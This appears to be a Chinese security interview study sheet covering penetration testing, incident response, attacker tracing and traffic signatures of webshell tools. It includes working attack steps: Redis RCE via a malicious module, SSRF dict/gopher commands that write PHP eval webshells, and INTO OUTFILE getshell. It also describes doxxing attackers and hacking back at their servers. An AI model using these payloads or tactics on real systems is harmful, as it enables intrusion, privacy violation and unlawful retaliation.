生成恶意.so文件,下载RedisModules-ExecuteCommand使用make编译即可生成。 git clone GitHub - n0b0dyCN/RedisModules-ExecuteCommand: Tools, utilities and scripts to help you write redis modules! cd RedisModules-ExecuteCommand/ make

攻击端执行: python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so

SSRF配合Redis打RCE?

利用手段:通过dict和gopher协议,前者探测,后者写入

探测端口:ssrf.php?url=dict://x.x.x.x:端口 //利用burpsuite爆破端口

探测是否设置弱口令:ssrf.php?url=dict://x.x.x.x:6379/info //已知端口利用info探测是否设置了密码`

爆破密码:ssrf.php?url=dict://x.x.x.x:6379/auth:密码 //利用burpsuite爆破密码

写入webshell:

1.url=dict://xxx.xxx:6379/config:set:dir:/var/www/html 切换文件目录` 2.url=dict://xxx.xxx:6379/config:set:dbfilename:webshell.php 设置保存文件名3.url=dict://xxx.xxx:6379/set:webshell:"\x3c\x3f\x70\x68\x70\x20\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b\x3f\x3e //利用dict协议写入webshell 以上的字符编码是<?php phpinfo();?>的十六进制4.url=dict://x.x.x.x:6379/save 保存

通过gopher写入webshell

  1. set x "\n\n\n<?php @eval($_POST['redis']);?>\n\n\n"`

  2. config set dir /var/www/html`

  3. config set dbfilename shell.php`

  4. save`

  5. 两次url编码直接访问即可`

Nmap扫描禁ping主机

无Ping扫描通常用于防火墙禁止Ping的情况下,它能确定正在运行的机器。默认情况下,Nmap只对正在运行的主机进行高强度的探测,如端口扫描、版本探测或者操作系统探测

用-P0禁止主机发现会使Nmap对每一个指定的目标IP地址进行所要求的扫描,这可以穿透防火墙,也可以避免被防火墙发现。需要注意的是,-P0的第二个字符是数字0而不是字母O。使用“nmap -P0【协议1、协议2】【目标】”进行扫描。

 1、全面扫描
 nmap -A 192.168.1.103
 2、Ping扫描
 nmap -sP 192.168.1.1/24
 3、免 Ping 扫描,穿透防火墙,避免被防火墙发现
 nmap -P0 192.168.1.103
 4、版本探测
 nmap -sV 192.168.1.103
 nmap -sV -A 192.168.1.103

穿透防火墙探测: -PN

部分系统禁止ping导致nmap部分选项无法执行,则遇到禁Ping的可以加上 -PN 绕过防火墙进行扫描探测

nmap -PN-A -v 127.0.0.1

渗透测试工具 nmap 端口扫描 - 使用详解 - FreeBuf网络安全行业门户

正向代理和反向代理的区别

正向代理代理的是客户端、反向代理代理的是服务端;

正向代理是在客户端搭建,反向代理是在服务端搭建;

正向代理解决访问限制问题,反向代理起到安全防护作用

常见的端口以及入侵方式:

1、web类

这部分常有的漏洞有:(web漏洞、敏感目录、第三方通用组件漏洞struts、thinkphp、jboss、ganglia、zabbix)

 80 http web 常见的Owasp top 10 中间件反序列化 中间件溢出 fastcgi配置不当 造成fastcgi端口泄露
 ​
 80-89 web
 ​
 8000-9090 web

2、数据库类(扫描弱口令、未授权)

 1433 MSSQL
 ​
 1521 Oracle
 ​
 3306 MySQL
 ​
 6379 redis未授权
 ​
 5432 PostgreSQL

3、特殊服务类(未授权/命令执行/漏洞)

 443 SSL心脏滴血
 ​
 873 Rsync未授权
 ​
 7001、7002 weblogic 默认弱口令、反序列化
 ​
 9200、9300 ElasticSearch 命令执行漏洞
 ​
 11211 memcache 未授权访问
 ​
 50070、50030 hadoop 默认端口未授权访问

4、常用端口类(扫描弱口令/端口爆破)

 21 ftp FTP服务端有很多 anonymous 匿名未授权访问 爆破
 ​
 22 ssh root密码爆破 后门用户 可以google查一些关于ssh后门的文章 里面的默认密码 可能会登入进去
 ​
 23 telnet 一般会发生在 路由器 或者交换机 嵌入式设备 管理端口 攻击方法 弱口令
 ​
 25 smtp 默认用户 默认密码 邮件账号爆破
 ​
 110 pop3 默认用户 默认密码 邮件账号爆破
 ​
 3389和443、445有什么漏洞?
 ​
 443 https openssl 心脏滴血(影响范围较小) SSL/TLS低版本存在的漏洞
 ​
 139、445:永恒之蓝、远程代码执行、缓冲区溢出
 ​
 3389:rdp漏洞、弱口令、cve-2019-0708、ms12-020

绕过python反爬虫

  1. 通过User-Agent来控制访问

    • 写个agent_list,每次请求,随机选择一个agent

  2. IP代理池

    • 网上成熟付费的代理池

  3. 伪造请求cookie

  4. 随机等待间隔

    •  time.sleep(random.uniform(0.5, 1)) # 随机等待时间是0.5秒和1秒之间的一个小数
  5. 验证码的破解

给你⼀个登录界面,凭经验它可能存在哪些漏洞?

  1. SQL注入、万能密码

  2. XSS

  3. 爆破弱口令

  4. 密码铭文传输

  5. 短信轰炸、爆破

  6. 未授权访问

  7. 任意用户密码修改、重置

  8. 任意用户注册

  9. 验证码复用并发

  10. 越权

  11. 框架漏洞,例如apache中间件组件shiro反序列化

登到⼀个⽹站的后台,有哪些getshell的方法

上传点直接上传webshell

数据库备份getshell

select "<?php phpinfo();?>" into outfile "C:\vulcms\ecshopv3.6\ecshop\v01cano.php";

利用文件解析漏洞、文件包含拿webshell

编辑器模版漏洞

常见未授权漏洞

  • MongoDB未授权访问漏洞

  • Redis未授权访问漏洞

  • Memcached未授权访问漏洞

  • JBOSS 未授权访问漏洞

  • VNC未授权访问漏洞

  • Docker未授权访问漏洞

  • ZooKeeper未授权访问漏洞

  • Rsync未授权访问漏洞

常见中间件的漏洞

 IIS
 PUT漏洞、短文件名猜解、远程代码执行、解析漏洞
 注:
 /test.asp/test.jpg
 test.asp;.jpg
 ​
 Apache
 解析漏洞、目录遍历
 注:
 Apache默认一个文件可以有多个以点分隔的后缀,当右边的后缀无法识别(不在mime.tyoes内),则继续向左识别
 php.xxx.yyy
 ​
 Nginx
 文件解析、目录遍历、CRLF注入、目录穿越
 注:
 对任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg,可以添加test.jpg/x.php进行解析攻击
 ​
 CRLF时“回车+换行”(\r\n)的简称。
 HTTP Header与HTTP Body时用两个CRLF分隔的,浏览器根据两个CRLF来取出HTTP内容并显示出来。
 通过控制HTTP消息头中的字符,注入一些恶意的换行,就能注入一些会话cookie或者html代码,由于Nginx配置不正确,导致注入的代码会被执行
 ​
 ​
 Tomcat
 远程代码执行、war后门文件部署
 ​
 JBoss
 反序列化漏洞、war后门文件部署
 ​
 WebLogic
 反序列化漏洞
 SSRF任意文件上传
 war后门文件部署
 ​
 Apache Shiro反序列化漏洞
 Shiro rememberMe(Shiro-550)
 Shiro Padding Oracle Attack(Shiro-721)

权限提升方法

Windows常用提权方法:
  • 系统内核溢出漏洞提权

  • 数据库提权

  • 错误的系统配置提权

  • 组策略首选项提权

  • WEB中间件漏洞提权

  • DLL劫持提权

  • 滥用高危权限令牌提权

Linux常用提权方法:
  • uid提权

  • 脏牛提权

  • 内核提权

  • 低权限用户目录下可被Root权限用户调用的脚本提权(SUID)

  • 环境变量劫持高权限程序提权

  • SUDOER配置文件错误提权

  • docker提权

权限维持如何做?

  • 粘滞键后门

  • 注册表注入后门

  • 计划任务后门

  • 白银票据

  • 黄金票据

  • 影子账户

渗透测试的流程

  1. 项目前期准备

  2. 信息收集:子域名、源ip、旁站、c段、服务器系统版本、端口、目录、

  3. 漏洞扫描:Nessus、AWVS、goby、arl灯塔

  4. 手工挖掘:逻辑漏洞

  5. 验证漏洞

  6. 修复建议

  7. 基线检查

  8. 输出报告

如何绕过CDN寻找真实IP?

  1. 多地ping看是否有cdn

  2. 邮件订阅或者rss订阅

  3. 二级域名可能不会做cdn

  4. nslookup http://xxx.com 国外dns

  5. 查找域名历史解析记录,因为域名在上CDN之前用的IP,很有可能就是CDN的真实源IP地址

  6. phpinfo上显示的信息

  7. cloudflare github可以获取真实IP

  8. 一个网站有icon 可以根据icon hash 来查找真实IP

  9. 子域名绑定 测试子域可能回源

应急响应篇

如何区分手工流量和工具流量

扫描流量和手动流量的区别在于其产生的方式和行为特征,因此可以通过以下几种方法来查看区分它们:

  1. 查看流量来源:扫描流量通常是由自动化工具或蠕虫病毒等程序生成的,因此其源 IP 或者发起请求的主机通常不固定,而手动流量则来自人工操作的设备,其请求的 IP 地址和用户代理信息都会有所不同。

  2. 检测流量频率和规律:扫描流量通常会呈现出周期性、规律性的访问行为,例如连续大量的 TCP SYN 请求等。而手动流量则通常难以呈现出明显的规律和周期性。

  3. 观察流量的请求路径和参数:扫描流量通常是为了探测系统漏洞和弱点而产生的,它们通常会对一些已知的 URL 和参数进行大量的尝试,并使用一些特殊的 HTTP 头部信息。而手动流量则更加多样化,可能会包含更丰富的请求路径和参数。

应急响应的思路流程

 常见应急响应事件分类:
 web入侵:网页挂马、主页篡改、Webshell
 系统入侵:病毒木马、勒索软件、远控后门
 网络攻击:DDOS攻击、DNS劫持、ARP欺骗

 收集信息:事件发生的时间、影响范围、受影响的系统和服务等信息
 ​
 判断类型:判断为何种安全事件(web、系统、网络)如:webshell、勒索、挖矿、断网、DoS等等
 ​
 抑制范围:隔离下线使受害面不继续扩大
 ​
 深入分析:日志分析、流量分析、主机排查(账号、进程端口、服务启动项、计划任务)、恶意样本
 ​
 清理处置:杀掉进程,删除文件,打补丁升级,删除异常系统服务,清除后门账号防止事件扩大,处理完毕后恢复生产
 ​
 产出报告:整理并输出完整的安全事件报告

windows入侵排查思路

  1. 可疑账号(新增、隐藏、克隆)排查 lusrmgr.msc 注册表

  2. 可疑的进程和端口 taskmgr、netstat -ano|tasklist

  3. 可疑的服务和启动项、计划任务 services.msc msconfig

  4. 检查系统相关的信息 系统补丁、可疑文件和目录 sysinfo

  5. 结合日志分析 eventvwr.msc、Log Parser、星图

  6. 恶意样本webshell排查

  7. 自动化查杀 360、卡巴斯基 web:河马、D盾

linux入侵排查思路

  1. 用户信息文件/etc/passwd,看有没有特权用户

  2. 查看当前登录用户(tty本地,pts远程)

  3. 查看异常端口连接:netstat -antlp|more

  4. 可疑进程:ps aux|grep pid

  5. 结束进程:kill -9 pid

  6. 检查定时任务:crontab -l

windows系统日志

Windows系统日志都是在“事件查看器”下面的。

具体步骤如下:

  • 我的电脑 - 右键单击 - 管理 - 计算机管理 - 系统工具 - 事件查看器 - Windows日志;

  • win+r 输入eventvwr.msc

日志路径:C:\Windows\System32\winevt\Logs

必看日志:Security.evtx、System.evtx、Application.evt

windows敏感事件id

  • 1100 ----- 事件记录服务已关闭

  • 1102 ----- 审核日志已清除

  • 4624 ----- 帐户已成功登录

  • 4625 ----- 帐户无法登录

  • 4656 ----- 请求了对象的句柄

  • 4657 ----- 注册表值已修改

  • 4720 ----- 已创建用户帐户

  • 5025 ----- Windows 防火墙服务已停止

如何找出隐藏账号:

方法1:查找注册表中的系统账号

reg query HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names

方法2:查看系统日志

通过“计算机管理”中的“事件查看器”可以查看到隐藏账户以及其登陆的时间。即使黑客将所有的登陆日志删除,也还会记录是哪个账户删除了系统日志,这样黑客的隐藏账户就暴露无疑了。

系统安全加固

windows:

  • 修改弱口令

  • 服务版本排查nday

  • iptable服务端口

  • 安装杀毒软件

SSH如何加固:

  1. 禁止向公网开放端口

  2. 更改SSH默认端口

  3. 同一个IP登录超过5次错误实行黑名单

  4. 禁用root登录

  5. 禁用空密码

  6. 改用秘钥登录

内存马排查:

Java内存马原理:

通过在Java虚拟机(JVM)中运行的恶意代码,实现对被攻击者系统的远程控制。其原理是通过在Java虚拟机中注入特定的Java类、变量或方法等Java对象,然后在Java虚拟机中运行这些代码,实现对受害者机器的远程控制

Java内存马排查:

1、如果是jsp注入,日志中排查jsp的访问请求。 2、如果是代码执行漏洞,排查中间件的error.log,查看是否有可疑的报错,判断注入时间和方法。 3、根据业务使用的组件排查可能存在的java代码执行漏洞,spring的controller类型的话根据上报webshelli的url查找日志,filter或者listener类型,可能会有较多的404但是带有参数的请求。

利用Java Agent技术遍历JVM中所有已经加载到内存中的class。先判断是否是内存马,是则进入内存查杀。

识别:

1,filter名字很特别 2,filter优先级是第一位 3,对比web.xml中没有filter配置 4,特殊classloader加载 5,对应的classloader路径下没有class文件 6,Filter的doFilter方法中有恶意代码

特征:
  1. (较弱特征)为了确保内存马在各种环境下都可以访问,需要把filter匹配的优先级调至最高

  2. (较强特征)内存马的Filter是动态注册的,所以在web.xml中肯定没有配置

  3. (强特征)特殊的classloader加载。Filter也是class,也是必定有特定的classloader加载。一般来说,正常的Filter都是由中间件的WebappClassLoader加载的。反序列化漏洞喜欢利用TemplatesImpl和bcel执行任意代码。所以这些class往往就是以下这两个:

    这个特征是一个特别可疑的点了。当然了,有的内存马还是比较狡猾的,它会注入class到当前线程中,然后实例化注入内存马。这个时候内存马就有可能不是上面两个classloader

    1. com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader

    2. com.sun.org.apache.bcel.internal.util.ClassLoader

清除:

1、清除内存马中的Filter的恶意代码

2、模拟中间件注销Filter

实现方式 :
  • 基于servlet规范,通过动态注册Servlet、Filter、Listener等实现无文件webshell

  • 基于特定框架,如Spring框架下动态注册Controller 等

  • 基于JAVA Agent,memShell

webshell木马排查

静态检测:检测文件代码是否为webshell代码

动态检测:检测http请求访问文件

  1. 使用D盾或河马进行扫描

  2. 查询日志记录,分析攻击流量

  • /var/log/secrue 登录日志

  • /var/log/message 系统日志

  • /var/log/maillog 邮件日志

  • /var/log/cron 计划任务日志

  • /var/log/apache2 access.log /error.log apache日志

  • /var/log/mysql mysql日志

  • find /var/log/message | awk 正则匹配php或asp

  1. 排查网站目录,查看最近更改的文件

  2. 排查恶意的外连流量,锁定感染进程

怎么确定是真实攻击还是误报

通过设备的告警信息,流量特征(攻击特征),去查看数据包里面(请求包、请求体、返回包、返回体),是否存在相应的攻击特征,如果不包含攻击载荷,为误报。

以攻击IP为索引,去查看(护网开始-现在),是否有其它攻击行为。

查看攻击方向:内对内、内对外、外对内。内对内的话误报率较大,但也要看具体的流量,最好上机排查。

本地复现:不用客户的网络去访问,可以用其他的网络,比如手机热点。

几万条告警,怎么快速找到攻击成功的告警,哪些是误报

要把告警日志数据转换为情报数据进行输出分析告警日志数据主要来自: WAF、IPS「入侵防御系统」、IDS「入侵防御系统」、蜜罐、NTA、EDR、APT、防病毒、堡垒机、态势感知等安全设备。 通过特征规则将无效告警、误报告警过滤掉,剩下的就是"待分析告警"

哪些告警属于无效告警? 比如说:攻击方通过对目标资产所处的C段进行批量扫描,但C段的资产并非都是处于「活跃」状态,甚至根本没有这个资产。而安全设备还是因为这个「攻击尝试行为」产生了告警,那么这种告警就属于「无效告警」。

怎么判断告警是误报? 比如说:攻击方尝试利用现成的「EXP&POC集成脚本工具」对资产目标进行检测扫描,安全设备检测到「攻击尝试行为」中的攻击特征就会产生告警。在通常情况下,可以把告警中的URL的"网页状态码"、"页面回显数据"作为「误报告警」判断的条件之一。 如何对「待分析告警」关联分析? 从「待分析告警」中提取攻击特征,通过「攻击特征规则库」进行匹配,看能否获取到「情报线 索」。/index/index/index?options=id)9%2bupdatexml(1,concat(Ox7,user(),0x7e),1) from users%23**比如说,在「待分析告警」数据发现这一段Payload,通过「攻击特征规则库」关联到它属于「ThinkPHP5-注入漏洞」。但我们通过「资产指纹信息库」进行核查发现「受攻击的资产」并没有使用「ThinkPHP5」框架。按照这个分析逻辑,将整个流程脚本化输出。就可以排除「待分析告警」中那些真实的攻击尝试行为,却又未攻击成功的告警。然后,人工再对剩余的少量「待分析告警」进行分析研判,从其中捕获到「真实有效」的攻击事件的可能性相对于以往的分析方式会大的多。 如果捕获到「真实有效」的攻击事件,还可以利用「资产指纹信息库」巡查具有同样指纹特征的设备是否也存在类似的漏洞。

误报处理方式

看情况第一步判断是不是内部人员误操作,如果是,则需要考虑是否要添加某些规则进入白名单,如果并非内部人员操作,就需要对于设备告警发出的信息进行流量分析等,测试是否能对服务器造成危害,然后进行应急

态感的一条告警如何判断攻击成功

分析请求、响应内容,判断是否攻击成功

首先看告警事件名称判断是网络攻击事件还是web攻击事件,

网络攻击事件:定位五元组信息(源IP、目的IP、源端口、目的端口、协议),对整个僵、木、蠕传播链进行分析,以攻击IP作为受害IP进行检索查找攻击源,

WEB攻击事件:通过数据包的请求体、响应体、状态码等。

如果看到一条告警是shiro反序列化漏洞利用的一条告警,那么怎么确定是真实的,而不是数据交互产生的误报

  1. 检查日志:检查服务器日志,看是否有异常的日志记录,如异常的Java反序列化操作、异常的HTTP请求等。

  2. 分析流量:使用网络流量分析工具Nmap、Wireshar,检查是否有可疑的HTTP请求,特别是那些包含恶意序列化数据的请求。

  3. 检查系统状态:检查系统状态,看是否有异常的进程或服务在运行,特别是那些可能与攻击相关的进程或服务。

  4. 检查文件:检查服务器上的文件是否有被修改的迹象,特别是那些与Shiro相关的配置文件或类文件。

  5. 验证漏洞:手动复现漏洞,构造一个恶意的序列化数据包,尝试发送给目标服务器,看是否能够触发漏洞;或者使用如ysoserial、ShiroExploit等工具来检查是否存在Shiro反序列化漏洞。

  6. 检查系统配置:检查Shiro的配置文件,看是否开启了RememberMe功能,以及AES的密钥是否是硬编码的。

  7. 检查系统版本:检查系统的Java版本,看是否是容易受到Shiro反序列化漏洞影响的版本。

  8. 检查系统补丁:检查系统是否有安装最新的安全补丁,以修复已知的Shiro反序列化漏洞。

如果看到SQL注入,延时注入的告警,你怎么判断它攻击成功

客户中了钓鱼,如何去做,如何找到远程服务器

  1. 立即断开连接:将受感染的设备从网络中隔离,防止恶意软件传播或进一步损害其他系统。

  2. 检查并清除恶意软件:利用安全软件对受感染设备进行全面扫描,清除发现的恶意软件,并确保所有安全补丁和更新都已安装。

  3. 修改凭据和密码:建议用户立即修改与受感染设备相关的所有凭据、密码和敏感信息,以防止进一步的数据泄露或未经授权的访问。

  4. 通知相关方:如果客户是企业或组织,应及时通知网络安全团队、IT部门或管理人员,以便他们采取进一步的应对措施。

  5. 网络流量分析:通过网络流量分析工具或系统日志,检查受感染设备与远程服务器之间的通信,查找可能的恶意连接或数据传输。

  6. 查找域名和 IP 地址:检查受感染设备的 DNS 查询记录、主机文件、网络连接表等,寻找与恶意服务器相关的域名和 IP 地址。

  7. 安全厂商威胁情报:利用安全厂商提供的威胁情报服务,查找已知的恶意域名、IP 地址或恶意软件样本,并对受感染设备进行匹配检查。

挖矿排查

被挖矿特征

CPU适用于接近100%并高居不下,或CPU占用过高操作迟缓,可以判定为挖矿

Linux确认挖矿流程
  1. top命令查看消耗系统资源较高的进程PID

  2. 通过PID,利用ps -ef -p PIDps aux | grep PID查找出系统进程的详细信息

  3. 根据进程查询的信息找到文件位置

  4. 停止服务 systemctl stop xxx.service

  5. 通过kill 9 PID结束进程,有时可能要杀掉多个进程

  6. 通过find / -name 异常文件的文件名查找相关的异常恶意文件

  7. 通过rm -rf 异常文件删除所有异常文件

  8. 检查定时任务crontab -l,清理定时任务通过crontab -e进入工作表删除定时任务

Windows确认挖矿流程
  1. 打开任务管理器,打开资源性能管理器或直接查看查看占用CPU资源较高的服务或进程的PID

  2. 通过PID在任务管理器中的详细信息一栏找到对应程序,右键打开文件所在位置

  3. 结束进程,关闭服务,删除对应文件,确认若有必要就先备份后删除文件

  4. 通过schtasks /query命令查看定时任务,通过schtasks /delete命令删除定时任务

IDS和IPS区别

IDS类(入侵检测系统(IDS: Intrusion Detection Systems))

此类产品基本上以旁路为主,特点是不阻断任何网络访问,主要以提供对网络和系统运行状况的监控和报告为主,少量的类似产品还提供TCP阻断等功能,但少有使用。

IPS类(入侵防御系统(IPS: Intrusion Prevention System))

基本上以在线模式为主,解决了IDS无法阻断入侵的问题, 不仅可以检测到入侵还可以对入侵进行拦截,其工作原理类似防病毒系统定义N种已知的攻击模式,然后通过模式匹配去阻断非法访问一样。

IDS相当于监控,当发现异常行为时发出警告;

IPS相当于大厦的保安,不仅可以检测到入侵还可以对入侵进行拦截。

防火墙是网络层面的防护,IDS和IPS主要防护应用层。

防火墙是网络边界控制设备,主要通过策略实现对网络的访问控制。

IDS无法防护加密的数据流,且对于UDP协议会话误报较高。

溯源反制篇

蜜罐原理:

蜜罐的工作原理可以概括为以下几个步骤:

创建虚拟环境:在网络中创建一个看似易受攻击的虚拟环境,该环境模拟真实企业环境的一部分或全部功能,包括应用程序、服务和操作系统。

引诱攻击者:通过暴露蜜罐的存在,例如通过公开可访问的IP地址或虚假的网站,吸引攻击者主动尝试入侵、扫描或攻击蜜罐系统。

监测和记录:一旦攻击者进入蜜罐系统,蜜罐会记录攻击者的行为、攻击技术和使用的工具。 这些信息对于理解攻击者的策略和行为非常有价值。

分析和响应:通过分析记录的数据,研究人员可以识别攻击者的行为模式、漏洞利用方法和漏洞的目标。 这些信息可以用于改进真实系统的安全性,及时发现和应对新的威胁。

蜜罐的优势在于能够提供高质量的攻击数据和情报,帮助安全团队更好地了解攻击者的行为模式和目的,加强防御措施并及时应对威胁。 然而,蜜罐也需要专业人员来设计、部署和管理,以确保其安全性和有效性,并避免对真实系统造成潜在的风险。

常见溯源方式

1、域名、ip 反查目标个人信息

首先通过威胁情报平台确认攻击ip是否为威胁 ip,常用的平台通常有如下

微步在线X情报社区-威胁情报查询_威胁分析平台_开放社区 微步在线威胁情报社区

奇安信威胁情报中心 奇安信威胁情报中心

360安全大脑 360威胁情报中心

VenusEye威胁情报中心 VenusEye威胁情报中心

当发现IP的为攻击IP后,可以尝试通过此IP去溯源攻击者,具体实现过程通常会用到下述方法:

1.ip 反查域名

2.域名查 whois 注册信息

3.域名查备案信息、反查邮箱、反查注册人

4.邮箱反查下属域名

5.注册人反查下属域名

2、攻击者ID等方式追踪

定位攻击者ip后,可以通过sgk、社交软件、指纹库等其它方式捕获到攻击者个人社交账号捕获到更精准的敏感信息可以采取以下思路。

1.支付宝转账,确定目标姓氏

2.进行QQ账号、论坛、贴吧、等同名方式去搜索

3.淘宝找回密码,确定目标名字

4.企业微信手机号查公司名称

5.度娘、谷歌、src、微博、微信、知乎、脉脉等知道的各大平台上搜索

3、通过攻击程序分析

攻击者如果在恶意攻击过程中对目标资产上传攻击程序(如后门、恶意脚本、钓鱼程序等),我们可通过对攻击者上传的恶意程序进行分析,并通过IP定位等技术手段对攻击进行分析溯源,常用的恶意程序分析网站有:

微步在线云沙箱:https://s.threatbook.cn/ 腾讯哈勃:腾讯哈勃分析系统 Virustotal:VirusTotal火眼:https://fireeye.ijinshan.com 魔盾安全分析:恶意软件分析 & URL链接扫描 免费在线病毒分析平台 | 魔盾安全分析

4、 蜜罐

蜜罐技术本质上是一种对攻击方进行欺骗的技术,通过布置一些作为诱饵的主机、网络服务或者信息,诱使攻击方对它们实施攻击,从而可以对攻击行为进行捕获和分析,了解攻击方所使用的工具与方法,推测攻击意图和动机,能够让防御方清晰地了解他们所面对的安全威胁,并通过技术和管理手段来增强实际系统的安全防护能力。

蜜罐溯源的两种常见方式:

一种是在伪装的网站上插入特定的js文件,该js文件使用攻击者浏览器中缓存的cookies去对各大社交系统的jsonp接口获取攻击者的ID和手机号等。另一种是在伪装的网站上显示需要下载某插件,该插件一般为反制木马,控制了攻击者的主机后查询敏感文件、浏览器访问记录等个人敏感信息从而锁定攻击者。

常见反制方式

1、通过蜜罐反制

主要就是下述反制手段做操作

1.可克隆相关系统页面,伪装“漏洞”系统

2.互联网端投饵,一般会在Github、Gitee、Coding上投放蜜标(有可能是个单独的网站地址、也有可能是个密码本引诱中招)

3.利用JSONP、XSS、CSRF等前端类漏洞获取访问蜜标的攻击者网络身份(网络画像)

2、邮件钓鱼反制

安全防护基础较好的厂商,一般来说除了出动0day,物理近源渗透以外,最常见的就是邮件钓鱼了,在厂商收到邮件钓鱼的情况下,我们可以采取化被动为主动的方式,假装咬钩,实际上诱导攻击者进入蜜网。

3、渗透工具漏洞

可以尝试挖掘蚁剑、冰蝎、菜刀、BurpSuite、SQLmap、AWVS的0day漏洞(需要一定的技术水平),或利用历史漏洞部署相关环境进行反打

4、盲打攻击反制

攻击者可能通过盲打漏洞方式来获取权限,一般盲打都具备一个数据回传接口(攻击者需要接收Cookie之类的数据),接口在JavaScript代码中是可以寻找到的,我们可以利用数据回传接口做以下两件事情,并后续引导攻击者进入我们部署好的蜜罐。

1.打脏数据回传给XSS平台

2.打虚假数据回传给XSS平台

5、通过攻击服务器端口/web 等漏洞

攻击者可能是通过自己搭建的公网服务器进行攻击的,或者是通过此服务器与后门进行通讯。其中服务器可能运行诸多服务,且未打补丁或设置强密码,导致防守方可以进行反打。

如何进行溯源

攻击源获取
  • 态势感知、安全设备EDR告警

  • 日志分析,获取攻击者指纹信息与攻击方式

  • 服务器资源异常,多了websehll或者计划任务

  • 蜜罐告警,获取攻击者指纹信息

  • 邮件钓鱼,对木马文件逆向分析获取攻击者信息

  • 样本分析,检测是否为病毒木马

  • 进程信息

攻击者使用代理获取真实ip

  • 代理池溯源

    • 分析请求头的XFF字段和via字段

  • 域前置溯源

针对IP或者域名通过公网已有的开放信息进行查询
  • 威胁情报平台

  • 证书查询

  • 精准IP定位

  • ip反查域名、whois查询公司、备案信息

信息反查
  • 取证,想办法搜索到和他相关的所有信息

  • 手机号反查

  • 邮箱反查注册人

  • 企业微信手机号查公司名称

如何进行反制
  1. 技术手段

    • 分析对方工具的漏洞

    • 蜜罐

  2. 非技术手段

    • 钓鱼和反钓鱼

    • 从攻击者的目的反向思考获取对方信息

Cobalt Strike 反制 1、批量上线钓鱼马,启几百个进程,ddos 红方的cs 端 2、爆破cs 密码 3、假上线 我们只需要发送心跳包,即可模拟上线,并且攻击者无法执行命令,只能干着急。 也就是模拟cs 上线 4、通过漏洞 xss(伪造user) rce(xss到rce)

针对dnslog 的反制 可进行批量ping 捕获到的dnslog ,然后恶意扰乱他自行搭建的,恶意制造各种垃圾dnslog数据,让他无法获取到有效信息。直接让红队人员被迫废弃一个红队基础设施。 具体可以写个脚本比如站长之家之类的进行批量ping ,进行探测存活。

蜜罐 获取攻击者的P(真实IP,代理IP等)、ID、操作系统、设备信息等,也可通过诱饵进行钓鱼反制。 创宇蜜罐、开源HFish多功能蜜罐

钓鱼邮件溯源 攻击者在伪造钓鱼邮件时,有时出于疏忽,会泄露自己的邮件服务器地址,从而被溯源,查看邮件原文:

流量特征篇

dirsearch流量特征:

 通过显示过滤器,过滤 http.request数据流,可以在数据流中看到大量http  GET请求再对路径以及文件进行爆破,可以发现在info中的路径有很明显的顺序,例如dir将a开头的路径跑完后就开始跑b开头的路径如此反复,所以在遇到有类似特征的流量,可以初步判断为dirsearch攻击

sqlmap流量特征

 通过wireshark的显示过滤器过滤sqlmap攻击流量包 过滤 http.request后,可以发现info中有大量的sql语句。
 如果攻击者没有设置sqlmap工具,在传输层的请求头中的user-agent可以看到sqlmap的网站,这是一个强特征,只要有这个特征就可以断定是sqlmap

常见webshell连接工具:

参考链接

菜刀∶
 payload在请求体中,采用url编码+base64编码,payload部分是明文传输。
 ​
 payload中有eval或assert、base64_decode这样的字符。
 ​
 payload中有默认固定的&z0=QGluaV9zZXQ...这样base64加密的攻击载荷,参数z0对应$_POST[z0]接收到的数据,且固定为QGluaV9zZXQ开头。
 ​
 进行base64解码后可看到代码:@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);这段意思是首先关闭报错和magic_quotes,接下来去获取主机的信息。
蚁剑:
 每个请求体均以@ini_set("display_errors","0");@set_time_limit(0)开头
 ​
 请求参数两位之后的才是正确的命令的Base64编码
 ​
 响应体的内容为base64编码加混淆字符,格式为:随机数 结果 随机数
冰蝎2.0:
 使用AES加密 + base64编码,AES会通过请求协商一个随机密钥进行加密
 ​
 内置了十几个User-Agent头,每次请求时会随机选择其中的一个。因此当发现一个ip的请求头中的user-agent在频繁变换,就可能是冰蝎。
冰蝎3.0:
 使用AES加密 + base64编码,取消了2.0的动态获取密钥,使用固定的连接密钥,AES加密的密钥为webshell连接密码的MD5的前16位, 默认连接密码是rebeyond,它的md5前16为是:e45e329feb5d925b
 ​
 内置了十几个User-Agent头,每次请求时会随机选择其中的一个。因此当发现一个ip的请求头中的user-agent在频繁变换,就可能是冰蝎
 ​
 3.0连接jsp的webshell的请求数据包中的content-type字段常见为application/octet-stream

看到流量是AES加密的,但是没有协商过程,疑似冰蝎3,尝试使用默认密码解密,成功了

冰蝎4.1:
 提供了传输协议自定义的功能,让用户对流量的加密和解密进行自定义,实现流量加解密协议的去中心化。v4.0版本不再有连接密码的概念,自定义传输协议的算法就是连接密码。
 ​
 Accept字段(弱特征),通常是Accept: application/json, text/javascript, /; q=0.01 意思是浏览器可接受任何文件,但最倾向application/json 和 text/javascript。
 ​
 Content-Type字段(弱特征),通常是Content-type: Application/x-www-form-urlencoded
 ​
 与冰蝎的前述版本相似,进行请求时内置了十几个User-Agent头,每次请求时会随机选择其中的一个。
 ​
 连接的端口有一定的特征,冰蝎与webshell建立连接的同时,java也与目的主机建立tcp连接,每次连接使用本地端口在49700左右(就是比较大的端口),每连接一次,每建立一次新的连接,端口就依次增加。
 ​
 使用长连接,避免了频繁的握手造成的资源开销。默认情况下,请求头和响应头里会带有 Connection:Keep-Alive
 ​
 有固定的请求头和响应头,请求字节头:dFAXQV1LORcHRQtLRlwMAhwFTAg/M ,响应字节头:TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd
 ​
 默认时,冰蝎 webshell都有“e45e329feb5d925b” 一串密钥,与冰蝎3.0相同。
哥斯拉:
 三次相应链接 第1个请求会发送大量数据,该请求不含有任何Cookie信息,服务器响应报文不含任何数据,但是在set-cookie会设置PHPSESSID,后续请求都会自动带上该Cookie;
 ​
 User-Agent字段(弱特征),默认情况,会暴露jdk信息。PS:哥斯拉支持自定义HTTP头部,此特征很容器去除;
 ​
 Accept字段(弱特征),默认是Accept:text/html, image/gif, image/jpeg, *; q=.2, /; q=.2。同样容易去除;
 ​
 Cookie中有一个非常关键的特征,最后会有个分号;
 ​
